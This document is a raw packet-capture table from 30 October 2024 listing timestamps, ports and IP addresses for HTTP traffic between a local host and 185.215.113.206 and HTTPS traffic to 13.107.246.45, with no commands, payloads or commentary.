Oct 30, 2024 15:59:41.346611977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346622944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346630096 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346633911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346642017 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346647024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346658945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346669912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346673965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346683025 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.346705914 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.346728086 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.384283066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.384296894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.384308100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.384347916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.384387016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.396316051 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.396928072 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.396950960 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.397469044 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.397479057 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.425837040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.425870895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.425951004 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458108902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458137035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458148956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458233118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458245039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458252907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458252907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458256006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458271027 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458298922 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458369970 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458384037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458395958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458425045 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458453894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458519936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458530903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458543062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458632946 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458667040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458678961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458686113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458692074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458703041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458707094 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458734989 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458756924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458893061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458905935 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458918095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458935976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.458940029 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458955050 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.458982944 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459063053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459074020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459084034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459096909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459104061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459109068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459120035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459121943 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459141016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459156036 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459239960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459252119 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459295988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459311008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459341049 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459362030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459430933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459443092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459455013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459465981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459471941 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459479094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459481955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459501028 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459528923 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459621906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459634066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459645987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459690094 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459717989 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459753990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459765911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459808111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.459877968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459923983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.459960938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.460237026 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460349083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460376978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.460387945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460395098 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.460402012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460441113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.460508108 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460519075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460530996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460544109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460566044 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.460581064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.460755110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460767031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460777998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460788965 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.460810900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.460828066 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.460999966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461040974 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.461052895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461065054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461098909 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.461165905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461178064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461188078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461208105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461236954 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.461252928 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.461308956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461357117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461369038 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461381912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461396933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.461438894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.461858034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461870909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461880922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461891890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461904049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461909056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.461920977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461930990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.461935043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461947918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461955070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.461960077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461971045 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.461971998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461992025 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.461999893 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462004900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462024927 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462045908 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462213993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462225914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462235928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462246895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462258101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462269068 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462269068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462284088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462289095 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462313890 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462327957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462341070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462404013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462515116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462527990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462538958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462551117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462563038 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462563038 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462574959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462584019 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462584972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462599039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462610006 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462610006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462625980 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462627888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462641001 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462641001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462657928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.462666988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.462694883 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.463011026 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.463021994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.463032961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.463043928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.463056087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.463068008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.463073969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.463079929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.463093042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.463105917 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.463124037 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.491115093 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.491719007 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.491745949 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.492408991 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.492414951 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.499593973 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.499619961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.499629974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.499641895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.499670982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.499703884 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.526637077 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.526674032 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.526715994 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.526792049 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.527517080 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.527529955 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.527551889 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.527559996 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.531934023 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.531971931 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.532030106 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.532685995 CET	49810	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.532707930 CET	443	49810	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.573419094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573467016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573478937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573479891 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.573523045 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.573561907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573574066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573616982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.573637962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573651075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573688030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.573776007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573793888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573805094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573837042 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.573872089 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.573904991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573916912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573955059 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.573987007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.573999882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574011087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574033976 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574055910 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574071884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574090004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574103117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574129105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574150085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574208975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574220896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574232101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574273109 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574341059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574352980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574388981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574400902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574408054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574413061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574419975 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574460030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574608088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574618101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574629068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574641943 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574660063 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574734926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574743032 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574748039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574762106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574773073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574784040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574799061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574824095 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.574892998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574903965 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574914932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.574956894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575025082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575036049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575046062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575057983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575078011 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575098038 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575166941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575177908 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575215101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575217962 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575227022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575237036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575256109 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575268030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575299978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575337887 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575361013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575372934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575412035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575448036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575459957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575470924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575510979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575550079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575674057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575690031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575702906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575712919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575714111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575726986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575728893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575756073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575793982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575826883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575836897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575850010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575862885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575871944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575876951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575894117 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575917006 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.575948954 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575958967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.575994015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576005936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576006889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576066017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576073885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576077938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576091051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576118946 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576144934 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576447010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576497078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576530933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576543093 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576576948 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576594114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576653957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576685905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576694965 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576735973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.576780081 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576792002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.576837063 CET	49716	80	192.168.2.6	185.215.113.206
